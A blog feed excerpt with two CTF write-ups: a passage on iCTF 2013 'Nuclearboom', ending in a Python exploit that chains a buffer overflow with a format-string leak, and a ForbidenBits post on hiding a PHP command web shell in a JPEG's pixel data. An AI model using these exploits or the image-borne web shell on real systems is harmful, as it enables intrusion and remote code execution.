 ask_for_string((int)"Insert name: ", &plant_name, 0x70u);
  plant->id = plant_id;
  plant->oxygen = gen_random_num(150, 500);
  plant->carbon = gen_random_num(15, 100);
  plant->boron = gen_random_num(250, 800);
  plant->zirconium = gen_random_num(120, 900);
  plant->uranium = gen_random_num(10, 600);
  strcpy(plant->name, &plant_name);
  if ( check_secondary_elems_level((int)plant) )
  {
    puts("Error. One of the secondary element level is too high!");
  }
  else
  {
    if ( check_uranium_level(plant->name) )
    {
      puts("Error. Uranium level is too high!");
    }
    else
    {
      ++*(_DWORD *)&a1[1].plant[0];
      printf("Plant %s created successfully!\n", plant);
    }
  }

We can guess the various usage and size of the fields in the plant structure:

 0x0: name
0x64: oxygen
0x66: carbon
0x68: boron
0x6a: zirconium
0x6c: uranium
0x6e: id

IDA's Structure feature is extremely useful here, I used the following definition for the plant structure:

00000000 plant_struct    struc ; (sizeof=0x70)
00000000 name            db 100 dup(?)           ; string(C)
00000064 oxygen          dw ?
00000066 carbon          dw ?
00000068 boron           dw ?
0000006A zirconium       dw ?
0000006C uranium         dw ?
0000006E id              dw ?
00000070 plant_struct    ends

So to trigger our format-string vulnerability we need:
- Add a new plant
- Pass the secondary elements check
- Fail the Uranium check (uranium level <= 0) to trigger the debug message with the vulnerable printf

But the uranium level is random generated: plant->uranium = gen_random_num(10, 600);

So we need to find a way to set the uranium level to zero or less.

Fortunately there is another vulnerability in the handle_plant_creation() function when dealing with the plant name, a good old buffer overflow:

ask_for_string((int)"Insert name: ", &plant_name, 112);

We accept 112 chars for the plant name while there is room for 100 chars in the plant structure: this will overwrite the element fields! Perfect for what we need. We will overwrite the secondary elements with valid values so that the check_secondary_elems_level() do not return an error and a negative value for the uranium level.

What can we do with the format string ? It's quite easy, we will use it to leak the self-destruction code or the password which are conveniently in the .bss section at fixed addresses:

.bss:0804C100 ; char auth_password[]
.bss:0804C100 auth_password   db 41h dup(?)           ; DATA XREF: main+2Ao
.bss:0804C100                                         ; main+4Co ...
.bss:0804C141                 public selfdestruction_code
.bss:0804C141 ; char selfdestruction_code[]
.bss:0804C141 selfdestruction_code db 11h dup(?)      ; DATA XREF: print_selfdestruction_code+Bo
.bss:0804C141                                         ; read_selfdestruction_file+38o ...

Enough explanations, lets move to the exploit:

import telnetlib
from struct import pack

ip = '1.2.3.4'
port = 4444

tn = telnetlib.Telnet(ip, port)

tn.read_until("Your choice: ")
tn.write("1\n")
tn.read_until("Insert name: ")

# selfdestruction_code offset
format = pack("<I", 0x0804C141)
# Rewind the stack until the find the beginning of this buffer
# then use the first 4 bytes as a offset to display a string
format += "%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X|%s"
buffer = format
buffer += '|' * (46 + 54 - len(format))
# Valid values for the secondary elements
buffer += pack('<H', 666) # oxygen
buffer += pack('<H', 666) # carbon
buffer += pack('<H', 666) # boron
buffer += pack('<H', 666) # zirconium
# Negative value to trigger the vulnerable debug message
buffer += pack('<h', -1) # uranium
buffer += pack('<H', 666) # id
buffer += "\n"

s = tn.get_socket()
s.send(buffer)

data = s.recv(1024)
print repr(data)
flag = data[136:].split('|')[1]
print "flag=", flag

tn.read_until("Your choice: ")
tn.write("7\n")

Output:

'ARE YOU CRAZY? Uranium in nuclear plant "A\xc1\x04\x086D603014B76C6FF4BFF66558B75B3FA470FFFF029A10BFF66E98BFF669A880491CEBFF66E28BFF66598700000000|FLGMVym8yKMeheic|||||||||||||||||||||||||||||||||||||||||||||||||||\x9a\x02\x9a\x02\x9a\x02\x9a\x02\xff\xff\x9a\x02" is TOO HIGH!\n'
flag= FLGMVym8yKMeheic

Share

The post iCTF 2013 CTF – Nuclearboom Writeup appeared first on codezen.fr.

]]>
http://codezen.fr/2013/03/24/ictf-2013-ctf-nuclearboom-writeup/feed/ 0
ForbidenBits CTF 2013 – Web 600 IMAFREAK Write-up http://codezen.fr/2013/03/17/forbidenbits-ctf-2013-web-600-imafreak-write-up/ http://codezen.fr/2013/03/17/forbidenbits-ctf-2013-web-600-imafreak-write-up/#comments Sun, 17 Mar 2013 15:36:45 +0000 http://codezen.fr/?p=431 This is a quick post to give my solution for the IMAFREAK challenge. What you need to succeed: - A JPEG file with EXIF CameraModel tag sets to ".php" so that the file is created with filename secretstoreddata/.php - Same JPEG file with the *RAW* Red plane containing a PHP shell As you have understood, […]

The post ForbidenBits CTF 2013 – Web 600 IMAFREAK Write-up appeared first on codezen.fr.

]]>
This is a quick post to give my solution for the IMAFREAK challenge.

What you need to succeed:
- A JPEG file with EXIF CameraModel tag sets to ".php" so that the file is created with filename secretstoreddata/.php
- Same JPEG file with the *RAW* Red plane containing a PHP shell

As you have understood, controlling the RAW output for a color plane is quite of hard as you can't really predict how the JPEG compression model will react to your input values.

So at first, I wrote a bruteforcer that would fuzz the RGB values of input pixels until it matched what I wanted but it was really slow. I ended up manually tuning many of those values for the perfect result (=spend many hours starring in an hex editor)

So here is the beast:

red-cmd-46

Zoomed:

zoom-red-46

I swear I will make a tshirt out of this one.

Lets check that the CameralTag tag contains ".php":

$ exiftool red-cmd-46.jpg
ExifTool Version Number         : 8.15
File Name                       : red-cmd-46.jpg
Directory                       : .
File Size                       : 921 bytes
File Modification Date/Time     : 2013:03:16 21:59:41+00:00
File Permissions                : rw-r--r--
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Camera Model Name               : .php
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100000000.
Image Width                     : 32
Image Height                    : 1
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 32x1

Quality is over nine thousand of course.

How does the RAW Red plane looks after JPEG decoding ?

$ hexdump -C d09bf41544a3365a46c9077ebb5e35c3
00000000  3c 3f 50 48 50 20 53 59  53 54 45 4d 28 24 5f 47  |<?PHP SYSTEM($_G|
00000010  45 54 5b 30 5d 29 3b 3f  3e 03 01 00 00 00 00 00  |ET[0]);?>.......|

The full JPEG hexdump:

$ hexdump -C red-cmd-46.jpg
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 00 00 01  |ÿØÿà..JFIF......|
00000010  00 01 00 00 ff e1 00 68  45 78 69 66 00 00 4d 4d  |....ÿá.hExif..MM|
00000020  00 2a 00 00 00 08 00 05  01 10 00 02 00 00 00 05  |.*..............|
00000030  00 00 00 4a 01 1a 00 05  00 00 00 01 00 00 00 50  |...J...........P|
00000040  01 1b 00 05 00 00 00 01  00 00 00 58 01 28 00 03  |...........X.(..|
00000050  00 00 00 01 00 01 00 00  02 13 00 03 00 00 00 01  |................|
00000060  00 01 00 00 00 00 00 00  2e 70 68 70 00 00 00 00  |.........php....|
00000070  00 01 00 00 00 01 00 00  00 01 00 00 00 01 ff fe  |..............ÿþ|
00000080  00 42 43 52 45 41 54 4f  52 3a 20 67 64 2d 6a 70  |.BCREATOR: gd-jp|
00000090  65 67 20 76 31 2e 30 20  28 75 73 69 6e 67 20 49  |eg v1.0 (using I|
000000a0  4a 47 20 4a 50 45 47 20  76 36 32 29 2c 20 71 75  |JG JPEG v62), qu|
000000b0  61 6c 69 74 79 20 3d 20  31 30 30 30 30 30 30 30  |ality = 10000000|
000000c0  30 0a ff db 00 43 00 01  01 01 01 01 01 01 01 01  |0.ÿÛ.C..........|
000000d0  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000100  01 01 01 01 01 01 01 ff  db 00 43 01 01 01 01 01  |.......ÿÛ.C.....|
00000110  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000140  01 01 01 01 01 01 01 01  01 01 01 01 ff c0 00 11  |............ÿÀ..|
00000150  08 00 01 00 20 03 01 22  00 02 11 01 03 11 01 ff  |.... ..".......ÿ|
00000160  c4 00 1f 00 00 01 05 01  01 01 01 01 01 00 00 00  |Ä...............|
00000170  00 00 00 00 00 01 02 03  04 05 06 07 08 09 0a 0b  |................|
00000180  ff c4 00 b5 10 00 02 01  03 03 02 04 03 05 05 04  |ÿÄ.µ............|
00000190  04 00 00 01 7d 01 02 03  00 04 11 05 12 21 31 41  |....}........!1A|
000001a0  06 13 51 61 07 22 71 14  32 81 91 a1 08 23 42 b1  |..Qa."q.2..¡.#B±|
000001b0  c1 15 52 d1 f0 24 33 62  72 82 09 0a 16 17 18 19  |Á.RÑð$3br.......|
000001c0  1a 25 26 27 28 29 2a 34  35 36 37 38 39 3a 43 44  |.%&'()*456789:CD|
000001d0  45 46 47 48 49 4a 53 54  55 56 57 58 59 5a 63 64  |EFGHIJSTUVWXYZcd|
000001e0  65 66 67 68 69 6a 73 74  75 76 77 78 79 7a 83 84  |efghijstuvwxyz..|
000001f0  85 86 87 88 89 8a 92 93  94 95 96 97 98 99 9a a2  |...............¢|
00000200  a3 a4 a5 a6 a7 a8 a9 aa  b2 b3 b4 b5 b6 b7 b8 b9  |£¤¥¦§¨©ª²³´µ¶·¸¹|
00000210  ba c2 c3 c4 c5 c6 c7 c8  c9 ca d2 d3 d4 d5 d6 d7  |ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×|
00000220  d8 d9 da e1 e2 e3 e4 e5  e6 e7 e8 e9 ea f1 f2 f3  |ØÙÚáâãäåæçèéêñòó|
00000230  f4 f5 f6 f7 f8 f9 fa ff  c4 00 1f 01 00 03 01 01  |ôõö÷øùúÿÄ.......|
00000240  01 01 01 01 01 01 01 00  00 00 00 00 00 01 02 03  |................|
00000250  04 05 06 07 08 09 0a 0b  ff c4 00 b5 11 00 02 01  |........ÿÄ.µ....|
00000260  02 04 04 03 04 07 05 04  04 00 01 02 77 00 01 02  |............w...|
00000270  03 11 04 05 21 31 06 12  41 51 07 61 71 13 22 32  |....!1..AQ.aq."2|
00000280  81 08 14 42 91 a1 b1 c1  09 23 33 52 f0 15 62 72  |...B.¡±Á.#3Rð.br|
00000290  d1 0a 16 24 34 e1 25 f1  17 18 19 1a 26 27 28 29  |Ñ..$4á%ñ....&'()|
000002a0  2a 35 36 37 38 39 3a 43  44 45 46 47 48 49 4a 53  |*56789:CDEFGHIJS|
000002b0  54 55 56 57 58 59 5a 63  64 65 66 67 68 69 6a 73  |TUVWXYZcdefghijs|
000002c0  74 75 76 77 78 79 7a 82  83 84 85 86 87 88 89 8a  |tuvwxyz.........|
000002d0  92 93 94 95 96 97 98 99  9a a2 a3 a4 a5 a6 a7 a8  |.........¢£¤¥¦§¨|
000002e0  a9 aa b2 b3 b4 b5 b6 b7  b8 b9 ba c2 c3 c4 c5 c6  |©ª²³´µ¶·¸¹ºÂÃÄÅÆ|
000002f0  c7 c8 c9 ca d2 d3 d4 d5  d6 d7 d8 d9 da e2 e3 e4  |ÇÈÉÊÒÓÔÕÖ×ØÙÚâãä|
00000300  e5 e6 e7 e8 e9 ea f2 f3  f4 f5 f6 f7 f8 f9 fa ff  |åæçèéêòóôõö÷øùúÿ|
00000310  da 00 0c 03 01 00 02 11  03 11 00 3f 00 fc 10 d0  |Ú..........?.ü.Ð|
00000320  7f e3 e3 e1 97 fd 8d 73  7f ea 1f f1 2a a2 f1 07  |.ããá.ý.s.ê.ñ*¢ñ.|
00000330  fc 95 1f 04 7f d7 8f c4  ef fd 56 e9 45 15 fc eb  |ü....×.ÄïýVéE.üë|
00000340  0f f7 ac 17 fd 93 b9 f7  fe ad 33 83 d6 7f 0c ff  |.÷¬.ý.¹÷þ­3.Ö..ÿ|
00000350  00 eb f5 2f fd 37 44 e5  fe 24 7d cf 0a 7f dd 3a  |.ëõ/ý7Dåþ$}Ï..Ý:|
00000360  ff 00 d3 7f c6 6a fc 53  f8 9d ff 00 25 27 e2 17  |ÿ.Ó.ÆjüSø.ÿ.%'â.|
00000370  fd 8f 1e 2c ff 00 d3 f6  a1 45 15 fd 3f 9c ff 00  |ý..,ÿ.Óö¡E.ý?.ÿ.|
00000380  c8 d7 37 ff 00 b0 fa 3f  fa aa cb cd 33 3f f7 7c  |È×7ÿ.°ú?úªËÍ3?÷||
00000390  37 f8 aa 7f e9 75 0f ff  d9                       |7øª.éu.ÿÙ|

Share

The post ForbidenBits CTF 2013 – Web 600 IMAFREAK Write-up appeared first on codezen.fr.

]]>
http://codezen.fr/2013/03/17/forbidenbits-ctf-2013-web-600-imafreak-write-up/feed/ 0